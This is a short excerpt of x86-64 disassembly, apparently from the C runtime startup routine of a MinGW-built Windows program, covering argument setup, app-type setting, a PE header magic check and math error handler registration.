mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1406eec80]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a